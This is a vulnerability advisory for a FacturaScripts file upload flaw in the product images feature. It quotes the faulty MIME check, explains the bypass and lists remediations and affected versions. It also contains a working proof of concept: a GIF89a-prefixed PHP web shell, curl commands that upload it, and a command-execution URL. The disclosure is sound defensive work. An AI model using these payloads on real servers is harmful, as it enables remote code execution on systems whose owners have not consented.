FacturaScripts Vulnerable to Authenticated Remote Code Execution (RCE) via GIF Image Upload in Product Images
The advisory, in context
CVE-2026-42879 - FacturaScripts - Authenticated Unrestricted File Upload via MIME Type Bypass
Summary
An authenticated unrestricted file upload vulnerability exists in FacturaScripts' product image upload functionality. An attacker with valid credentials can upload a PHP file disguised as a GIF image (using a GIF89a header), bypassing MIME type validation. The file is stored with its original extension, including executable extensions such as .php.
Details
The vulnerability exists in:
Core/Lib/ExtendedController/ProductImagesTrait.php
Specifically in the addImageAction() method.
Vulnerable Code
if (false === strpos($uploadFile->getMimeType(), 'image/')) {
Tools::log()->error('file-not-supported');
continue;
}
$folder = Tools::folder('MyFiles');
Tools::folderCheckOrCreate($folder);
$uploadFile->move($folder, $uploadFile->getClientOriginalName());
Root Cause
- The validation only checks if MIME type contains
"image/" - This can be bypassed by prepending GIF89a magic bytes to a PHP file
- The system incorrectly identifies the file as
image/gif - The file is saved with a
.phpextension in a web-accessible directory
File Storage Behavior
Uploaded files are stored in:
/MyFiles/YYYY/MM/X.php
Where X is an auto-incrementing ID. This allows direct remote execution:
http://target/MyFiles/2026/03/2.php?cmd=id
Impact
Successful exploitation:
An attacker may upload files with executable extensions (e.g. .php) to the server, which depending on server configuration could lead to further exploitation.
Proof of Concept (Manual)
Step 1: Create malicious file
cat > shell.jpg.php << 'EOF'
GIF89a
<?php
system($_GET['cmd']);
?>
EOF
Step 2: Authenticate
- Login to the application
- Extract
PHPSESSIDfrom browser cookies
Step 3: Get CSRF token
curl -s "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
| grep -o 'multireqtoken\" value=\"[^\"]*\"' | cut -d'"' -f4
Step 4: Upload shell
curl -X POST "http://target/EditProducto?code=CONTA621" \
-H "Cookie: PHPSESSID=YOUR_SESSION_ID" \
-F "multireqtoken=YOUR_CSRF_TOKEN" \
-F "action=add-image" \
-F "activetab=EditProductoImagen" \
-F "idproducto=3" \
-F "newfiles[]=@shell.jpg.php"
Step 5: Execute command
curl "http://target/MyFiles/2026/03/2.php?cmd=id"
Affected Products
| Field | Value |
|---|---|
| Ecosystem | Packagist |
| CVE ID | CVE-2026-42879 |
| Package Name | facturascripts/facturascripts |
| Affected Versions | <= 2025.81 |
| Patched Versions | Not yet patched |
| Fixed in | Pending |
Remediation Recommendations
- Validate file extension — reject any upload where the filename ends in
.php,.phtml,.phar, or other executable extensions, regardless of MIME type - Re-generate filenames on the server — never use
getClientOriginalName(); assign a safe UUID-based name with a validated extension - Store uploads outside the webroot — serve files through a controller that streams content, preventing direct URL execution
- Use a file type library — validate actual file content (magic bytes + extension + MIME type) with a library like
fileinforather than trusting client-supplied MIME
Credits
- Discoverer: Abdullah Alwasabei / Guzrex
Affected packages
Start with the recorded fix for your release branch. Check your installed version and test compatibility before upgrading. Fixing this advisory does not rule out other vulnerabilities in the release.
Earlier releases through 2025.81 (inclusive)
No fix recorded for this interval.
57 explicitly affected versions
2018.03, 2018.04, 2018.05, 2018.11, v2018.12, v2018.13, v2018.14, v2018.15, v2018.16, v2020.01, v2020.2, v2020.3, v2020.4, v2020.51, v2020.61, v2020.71, v2020.80, v2021, v2021.1, v2021.2, v2021.4, v2021.51, v2021.71, v2021.81, v2022.06, v2022.08, v2022.2, v2022.4, v2022.51, v2023.03, v2023.08, v2023.16, v2023.21, v2024, v2024.1, v2024.2, v2024.3, v2024.5, v2024.7, v2024.8, v2024.9, v2024.91, v2024.93, v2024.94, v2024.95, v2024.96, v2025, v2025.11, v2025.2, v2025.3, v2025.4, v2025.41, v2025.43, v2025.7, v2025.71, v2025.8, v2025.81
View affected-version evidence
{
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "2025.81"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2018.03",
"2018.04",
"2018.05",
"2018.11",
"v2018.12",
"v2018.13",
"v2018.14",
"v2018.15",
"v2018.16",
"v2020.01",
"v2020.2",
"v2020.3",
"v2020.4",
"v2020.51",
"v2020.61",
"v2020.71",
"v2020.80",
"v2021",
"v2021.1",
"v2021.2",
"v2021.4",
"v2021.51",
"v2021.71",
"v2021.81",
"v2022.06",
"v2022.08",
"v2022.2",
"v2022.4",
"v2022.51",
"v2023.03",
"v2023.08",
"v2023.16",
"v2023.21",
"v2024",
"v2024.1",
"v2024.2",
"v2024.3",
"v2024.5",
"v2024.7",
"v2024.8",
"v2024.9",
"v2024.91",
"v2024.93",
"v2024.94",
"v2024.95",
"v2024.96",
"v2025",
"v2025.11",
"v2025.2",
"v2025.3",
"v2025.4",
"v2025.41",
"v2025.43",
"v2025.7",
"v2025.71",
"v2025.8",
"v2025.81"
]
}